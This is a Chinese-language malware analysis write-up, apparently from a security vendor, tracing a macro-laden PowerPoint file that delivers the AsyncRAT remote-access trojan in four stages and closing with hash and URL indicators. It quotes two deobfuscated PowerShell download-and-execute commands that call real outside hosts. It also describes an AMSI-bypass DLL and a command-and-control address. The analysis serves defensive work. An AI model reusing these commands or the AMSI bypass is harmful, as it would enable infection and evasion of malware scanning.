前 述
在兰眼下一代威胁感知系统的日常监测样本,有一样本引起我们注意,因为样本为 PPT 格式,关于 PPT 恶意样本平时遇到的比较少 (大多数是 doc、xls、rtf 类),并且检测出来的威胁这么多,所以才引起我们注意,并且还要对它进行一番分析,其检测结果如下所示:
经后续详细分析后,可确定该样本为投递 AsyncRAT 远控木马的恶意文档。AsyncRAT 是一款开源的远程访问工具 (RAT),旨在通过安全的加密连接来远程监视和控制其他计算机。目前 AsyncRAT 包含如下功能:
客户端屏幕查看器和记录器
客户端防病毒和完整性管理器
客户端 SFTP 访问,包括上传和下载
客户端和服务器聊天窗口
客户端动态 DNS 和多服务器支持 (可配置)
客户端密码恢复
客户端 JIT 编译器
客户端键盘记录器
客户端反分析 (可配置)
服务器控制的更新
客户端反恶意软件启动
服务器配置编辑器
服务器多端口接收器 (可配置)
服务器缩略图
服务器二进制生成器 (可配置)
服务器混淆器 (可配置)
And much more!
样本攻击的流程分成四个阶段,以下是每个阶段的详细分析过程,请 "食" 用!
攻击第一阶段分析
我们首先来看下样本的详细信息,如下所示:
从上图可知此样本为一个 PPT 文件,双击运行后会弹出警告,如下所示:
看来这个 PPT 文档里包含宏代码,将其中的宏代码 dump 出来,宏代码如下所示:
OLE Stream: VBA-ucyhJgB
OLE Stream: VBA-Módulo1
文档中包含两个 OLE Stream,入口在 Auto_Open() 处,最终调用的是 ucyhJgB 中的 eQBQnywsj 子例程,整个宏代码被混淆过,xzdokekst 变量解出来的字符串如下所示:
cmd.exe /c CmD ewhuuyb cmd /r POwershell <NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://amandaventure.com.br/2020/1.jpg” , ”$ENv:TEMP\qzlkxl.vbs” ) ; stARt-PRoCESs ”$ENv:TEMP\qzlkxl.vbs”
后面作为 ozpjnrbr 的参数,如下所示:
以上就为攻击的第一阶段,利用 cmd 启动 powershell 进而去执行 powershell 命令 —— 远程下载文件到用户 Temp 目录下重命名为 qzlkxl.vbs 并将其运行。兰眼中该样本的进程树如下所示:
攻击第二阶段分析
从第一阶段远程下载的地址来看,表面上为 jpg 文件,其实不是,根据 jpg 文件里的内容可判定为 VB 脚本文件,当然你也可以从它重命名后的文件名后缀可看出,我们来看下这个远程下载的 1.jpg 里的内容吧,如下所示:
同样,VB 脚本中的代码也做了混淆,将其中 exec 中的参数解出后如下所示:
PowerSheLl -windowstyle hidden -noexit -executionpolicy bypass -command IEX((neW-ObjEcT(('Net.Webclient'))).((Downloadstring')).InVokE((('https://pastebin.com/raw/cauDwQUe'))))
为一段 powershell 命令,最终创建 WMI 相关服务将其运行起来,如下所示:
此阶段同样也是连接远程地址下载文件并执行,地址为
https[:]//pastebin.com/raw/cauDwQUe
攻击第三阶段分析
我们来看下攻击第二阶段连接网址的内容,如下所示:
根据上图中的内容可知,代码已被混淆,因此需要将其解码出来,内容包含两大串字符串,第一大串字符串进行解码,不过要注意的是一定要在开头加上 TV 这两个字符,解出来的字符串内容如下所示:
解出来的内容有 PE 特征,说明这个为 一个 PE 文件,将其保存到本地后查看文件信息可知为一个 .NET 的 dll 程序,如下所示:
该 dll 文件用了 .NET Reactor 进行保护,.NET Reactor 是一款强大的 .NET 代码混淆加密保护工具,常用于防止对 .NET 程序的反编译破解等场景。同样将另一大串的字符串解密,解密出来的内容如下所示:
同样也为一个 PE 文件,将其保存到本地查看文件信息可知为一个 VB .NET 的 exe 程序,也用了 .NET Reactor 进行保护,如下所示:
我们再返回到原地址内容,看下是这两个文件是如何被操作的,如下所示:
KILLAMSI.dll
koqqNLCG.exe
攻击第四阶段分析
如要具体分析上述两个 PE 文件运行机理,需要先对其做去混淆处理,如下:
这里用到的是修改后的 de4dot 程序。de4dot 是用 C# 编写的一款开源 .NET 解混淆器和解压缩器。它会尽力将混淆后的程序集恢复到几乎原始的程序集。大部分混淆都可以完全恢复,例如,字符串加密,但是符号重命名是无法恢复的,因为原始名称不是混淆程序集的一部分。两个 PE 文件去混淆后的结果如下:
反编译后的结果如下所示:
由攻击第三阶段分析可知,dll 的入口在 Main 处,exe 在入口处,如下所示:
KILLAMSI.dll
在 dll 中的 Main() 中,会先去判断 IntPtr 的大小 (判断系统位数),IntPtr 的大小不同会影响传入后续的参数不同,如下所示:
smethod_0 函数如下:
smethod_0 函数从 Amsi.dll 加载 AmsiScanBuffer 函数,byte_2 为它的一个参数。AMSI 全称为 ANTI MALWARE SCAN INTERFACE,即反恶意软件扫描接口。顾名思义,它要做的就是扫描,检测和阻止任何有害的东西。此处这样做目的在于绕过 AMSI 以便执行任意的 powershell 代码。
koqqNLCG.exe
koqqNLCG.exe 的入口处如下图所示:
Execute() 为开始线程执行,如下所示:
在开始处发现有硬编码字符串,为一个网址 mika201[.]duckdns[.]org,端口为 444,上面为创建的线程,如下所示:
结合兰眼中的网络连接,发现正是此地址,如下所示:
在 VT 上,此链接关联到很多恶意文件,如下所示:
另外也被关联到 AsyncRAT,如下所示:
koqqNLCG.exe 中函数功能都跟远控有关,如下所示:
AsyncRAT 的真面目
由于 AsyncRAT 开源,所以 Download 一份在本地来测试一番,如下所示:
源程序中目录中的 Stub.exe 与 VT 上的 Stub.exe,如下图所示:
源代码工程目录结构如下图所示:
查看源代码,具有远控都有的功能,如若想知其如何实现,可自行在源码相关部分查看。具有的功能在文章开头有说明。最后要说的一点就是恶意的 Office 文件越来越多,你看,连 PPT 都不放过,bleepingcomputer 有过专门调查,大多都是从恶意文档开始,因此,作为恶意软件分析人员,我们应该时刻去关注最新出现的威胁,以便获取到最新的技术然后想办法去测和防御它。
IOCs
MD5:
68cc15fc3e1ac6ccf6af337bdeaafca2
fa6112f67f37ef0d9f76526287453022
0a9ccc32b02d3908ba09be1c0a7e956b
URL:
http[:]//amandaventure.com.br/2020/1.jpg
https[:]//pastebin.com/raw/cauDwQUe
- End -
京公网安备 11010802024705号 京ICP备20030588号 Copyright © 兰云科技 www.lanysec.com 版权所有